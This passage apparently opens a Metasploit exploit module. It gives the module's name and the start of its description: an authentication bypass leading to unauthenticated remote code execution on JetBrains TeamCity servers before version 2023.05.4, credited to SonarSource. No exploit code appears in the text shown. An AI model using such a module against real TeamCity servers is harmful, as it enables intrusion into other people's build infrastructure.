'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution
against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are
vulnerable to this issue. The vulnerability was originally discovered by SonarSource.
